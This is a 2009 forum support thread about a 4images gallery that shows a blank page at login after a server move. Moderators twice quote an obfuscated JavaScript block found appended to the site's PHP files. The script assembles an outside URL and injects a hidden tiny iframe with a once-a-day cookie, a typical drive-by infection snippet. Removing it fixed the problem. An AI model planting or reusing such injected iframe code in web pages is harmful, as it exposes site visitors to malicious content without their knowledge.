Author Topic: BLANK PAGE  (Read 12895 times)

0 Members and 1 Guest are viewing this topic.

Offline __G__

  • Sr. Member
  • ****
  • Posts: 286
    • View Profile
BLANK PAGE
« on: January 08, 2009, 12:18:42 PM »
when i try to login to image gallery it shows blank white page i can provide admin password to test in pms.
« Last Edit: January 08, 2009, 12:35:59 PM by __G__ »

Offline KurtW

  • 4images Guru
  • *******
  • Posts: 2.778
    • View Profile
    • Malediven-Bilder ~~Dreams~~
Re: BLANK PAGE
« Reply #1 on: January 08, 2009, 12:46:09 PM »
 :?:

Offline __G__

  • Sr. Member
  • ****
  • Posts: 286
    • View Profile
Re: BLANK PAGE
« Reply #2 on: January 08, 2009, 01:03:26 PM »
hey kurt thanks for reply bro when i try to login any user id to the site it just goes to a blank white page :(

Offline KurtW

  • 4images Guru
  • *******
  • Posts: 2.778
    • View Profile
    • Malediven-Bilder ~~Dreams~~
Re: BLANK PAGE
« Reply #3 on: January 08, 2009, 01:04:53 PM »
any mod installed last steps?

Offline __G__

  • Sr. Member
  • ****
  • Posts: 286
    • View Profile
Re: BLANK PAGE
« Reply #4 on: January 08, 2009, 01:06:04 PM »
no new mods installed but yes i moved the site to new server :( everything is working but ids not loggin in

Offline KurtW

  • 4images Guru
  • *******
  • Posts: 2.778
    • View Profile
    • Malediven-Bilder ~~Dreams~~
Re: BLANK PAGE
« Reply #5 on: January 08, 2009, 01:14:59 PM »
you use a different login.php
this is not orig 4images

I can't help you, i don't now about your used codes.


Kurt

Offline __G__

  • Sr. Member
  • ****
  • Posts: 286
    • View Profile
Re: BLANK PAGE
« Reply #6 on: January 08, 2009, 01:16:18 PM »
huh i never changed login.php shd i just drop a fresh copy of login.php

Offline __G__

  • Sr. Member
  • ****
  • Posts: 286
    • View Profile
Re: BLANK PAGE
« Reply #7 on: January 08, 2009, 01:21:18 PM »
i did uploaded fresh copy it didnt help well thanks for looking into it kurt i hope someone else can try to solve the problem

Offline KurtW

  • 4images Guru
  • *******
  • Posts: 2.778
    • View Profile
    • Malediven-Bilder ~~Dreams~~
Re: BLANK PAGE
« Reply #8 on: January 09, 2009, 08:47:31 AM »
and what is this code?
Code: [Select]

<SCRIPT>
    function l(v, t) {
        var m = new Date(),
        j = new Date();
        j.setTime(m.getTime() + 86400000);
        document.cookie = v + "=" + escape(t) + ";path=/;expires=" + j.toGMTString();
    };
    var f = 'msua2';
    var d = '1',
    r = 'google';
    var g = 'ifr';
    var o = '/go.php?sid=';
    if (document.cookie.indexOf(f + '=' + d) == -1) {
        var A = document.location.host;
        g += 'ame';
        var k = 'ht' + 'tp:' + '//' + r + "434.net" + o + d;
        var c = document.createElement(g);
        c.setAttribute('src', k);
        c.height = 1;
        c.width = 2;
        c.frameBorder = 0;
        try {
            document.body.appendChild(c);
            l(f, d);
        } catch(e) {
            document.write('<html><body></body></html>');
            document.body.appendChild(c);
            l(f, d);
        }
    }
</SCRIPT>
 
<!-- c --><!-- o -->
 
<SCRIPT>
    function l(v, t) {
        var m = new Date(),
        j = new Date();
        j.setTime(m.getTime() + 86400000);
        document.cookie = v + "=" + escape(t) + ";path=/;expires=" + j.toGMTString();
    };
    var f = 'msua2';
    var d = '1',
    r = 'google';
    var g = 'ifr';
    var o = '/go.php?sid=';
    if (document.cookie.indexOf(f + '=' + d) == -1) {
        var A = document.location.host;
        g += 'ame';
        var k = 'ht' + 'tp:' + '//' + r + "434.net" + o + d;
        var c = document.createElement(g);
        c.setAttribute('src', k);
        c.height = 1;
        c.width = 2;
        c.frameBorder = 0;
        try {
            document.body.appendChild(c);
            l(f, d);
        } catch(e) {
            document.write('<html><body></body></html>');
            document.body.appendChild(c);
            l(f, d);
        }
    }
</SCRIPT>
 
<!-- c -->

not in login.php, where else?

Offline __G__

  • Sr. Member
  • ****
  • Posts: 286
    • View Profile
Re: BLANK PAGE
« Reply #9 on: January 09, 2009, 11:12:04 PM »
i have no idea i never altered any codes in login.php i dont even know what is this code bro :|

Offline __G__

  • Sr. Member
  • ****
  • Posts: 286
    • View Profile
Re: BLANK PAGE
« Reply #10 on: January 09, 2009, 11:16:33 PM »
bro i will pay u 50 USD lemme know if u can work on my site i will pay u thru paypal or something >:D< i can give u ftp if u can fix it bro lemme know if u have time

Offline Nicky

  • Administrator
  • 4images Guru
  • *****
  • Posts: 3.195
    • View Profile
Re: BLANK PAGE
« Reply #11 on: January 09, 2009, 11:17:56 PM »
hi,

if your 4images gallery is here
http://www.domain.com

use ORIGINAL 4images files and upload them to the
http://www.domain.com/testgallery/
DO NOT INSTALL!!

take the config.php from
http://www.domain.com
and upload to
http://www.domain.com/testgallery/

test it..
works?
cheers
Nicky
Your first three "must do" before you ask a question ! (© by V@no)
- please read the Forum Rules ...
- please study the FAQ ...
- please try to Search for your answer ...

nicky.net 4 4images
Signature stolen from mawenzi

Offline V@no

  • If you don't tell me what to do, I won't tell you where you should go :)
  • Global Moderator
  • 4images Guru
  • *****
  • Posts: 17.849
  • mmm PHP...
    • View Profile
    • 4images MODs Demo
Re: BLANK PAGE
« Reply #12 on: January 10, 2009, 01:38:07 AM »
a link to the gallery and test user/pass could be helpful ;)
Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
Extension for Firefox/Thunderbird: Master Password+    Back/Forward History Tweaks (restartless)    Cookies Manager+    Fit Images (restartless for Thunderbird)

Offline __G__

  • Sr. Member
  • ****
  • Posts: 286
    • View Profile
Re: BLANK PAGE
« Reply #13 on: January 10, 2009, 02:05:07 AM »
hi bro v@no >:D< thanks for your time i did pm you all the details bro

Offline V@no

  • If you don't tell me what to do, I won't tell you where you should go :)
  • Global Moderator
  • 4images Guru
  • *****
  • Posts: 17.849
  • mmm PHP...
    • View Profile
    • 4images MODs Demo
Re: BLANK PAGE
« Reply #14 on: January 10, 2009, 02:42:50 AM »
and what is this code?
Code: [Select]

<SCRIPT>
    function l(v, t) {
        var m = new Date(),
        j = new Date();
        j.setTime(m.getTime() + 86400000);
        document.cookie = v + "=" + escape(t) + ";path=/;expires=" + j.toGMTString();
    };
    var f = 'msua2';
    var d = '1',
    r = 'google';
    var g = 'ifr';
    var o = '/go.php?sid=';
    if (document.cookie.indexOf(f + '=' + d) == -1) {
        var A = document.location.host;
        g += 'ame';
        var k = 'ht' + 'tp:' + '//' + r + "434.net" + o + d;
        var c = document.createElement(g);
        c.setAttribute('src', k);
        c.height = 1;
        c.width = 2;
        c.frameBorder = 0;
        try {
            document.body.appendChild(c);
            l(f, d);
        } catch(e) {
            document.write('<html><body></body></html>');
            document.body.appendChild(c);
            l(f, d);
        }
    }
</SCRIPT>
 
<!-- c --><!-- o -->
 
<SCRIPT>
    function l(v, t) {
        var m = new Date(),
        j = new Date();
        j.setTime(m.getTime() + 86400000);
        document.cookie = v + "=" + escape(t) + ";path=/;expires=" + j.toGMTString();
    };
    var f = 'msua2';
    var d = '1',
    r = 'google';
    var g = 'ifr';
    var o = '/go.php?sid=';
    if (document.cookie.indexOf(f + '=' + d) == -1) {
        var A = document.location.host;
        g += 'ame';
        var k = 'ht' + 'tp:' + '//' + r + "434.net" + o + d;
        var c = document.createElement(g);
        c.setAttribute('src', k);
        c.height = 1;
        c.width = 2;
        c.frameBorder = 0;
        try {
            document.body.appendChild(c);
            l(f, d);
        } catch(e) {
            document.write('<html><body></body></html>');
            document.body.appendChild(c);
            l(f, d);
        }
    }
</SCRIPT>
 
<!-- c -->

not in login.php, where else?
Actually I found that code at the end of a few .php files and that is exactly what was causing the blank page.

I don't know what that code is for and why it was placed there, but after removing it from main.php and auth.php, it seems to fixed the problem.

If you have any further similar problems, start looking for anything after last ?> at the end of .php files and remove it (even a single space or a new line could cause problem).
Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
Extension for Firefox/Thunderbird: Master Password+    Back/Forward History Tweaks (restartless)    Cookies Manager+    Fit Images (restartless for Thunderbird)